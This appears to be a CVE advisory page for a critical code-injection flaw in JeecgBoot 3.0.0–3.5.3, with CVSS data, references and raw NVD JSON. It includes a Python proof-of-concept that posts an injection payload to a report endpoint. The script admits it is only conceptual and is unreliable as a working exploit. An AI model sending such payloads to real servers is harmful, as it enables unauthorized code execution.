CVE-2024-40489

Description

There is an injection vulnerability in jeecg boot versions 3.0.0 to 3.5.3 due to lax character filtering, which allows attackers to execute arbitrary code on components through specially crafted HTTP requests.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jeecg:jeecg_boot:*:*:*:*:*:*:*:* - VULNERABLE

JeecgBoot 3.0.0 - 3.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Exploit Title: JeecgBoot CVE-2024-40489 RCE PoC
# Description: Sends a malicious payload to execute arbitrary code.

# Please replace with the actual target URL
target_url = "http://target-ip:8080/jeecg-boot/jmreport/qurestSql"

# The specific payload depends on the vulnerable endpoint filter bypass.
# This is a conceptual example of a code injection payload.
payload_data = {
    "apiSelectId": "1", 
    "fieldName": "test', 'test'); exec('calc'); --"
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

try:
    response = requests.post(target_url, data=json.dumps(payload_data), headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully, check if code was executed.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-40489
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-40489
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-40489/
[4] VulDB https://vuldb.com/cve/CVE-2024-40489
[5] https://gist.github.com/aqyoung/2fd6329ceb06b731a621356921f0d5f0
[6] https://pan.baidu.com/s/14WOPXhRHoxr4FRKGme59ug?pwd=sktp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-40489", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:16:57.070", "lastModified": "2026-04-06T15:35:16.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is an injection vulnerability in jeecg boot versions 3.0.0 to 3.5.3 due to lax character filtering, which allows attackers to execute arbitrary code on components through specially crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jeecg:jeecg_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0", "versionEndIncluding": "3.5.3", "matchCriteriaId": "6EAE49E3-CDA2-49D8-B812-910C2FCA0C21"}]}]}], "references": [{"url": "https://gist.github.com/aqyoung/2fd6329ceb06b731a621356921f0d5f0", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://pan.baidu.com/s/14WOPXhRHoxr4FRKGme59ug?pwd=sktp", "source": "[email protected]", "tags": ["Permissions Required"]}]}}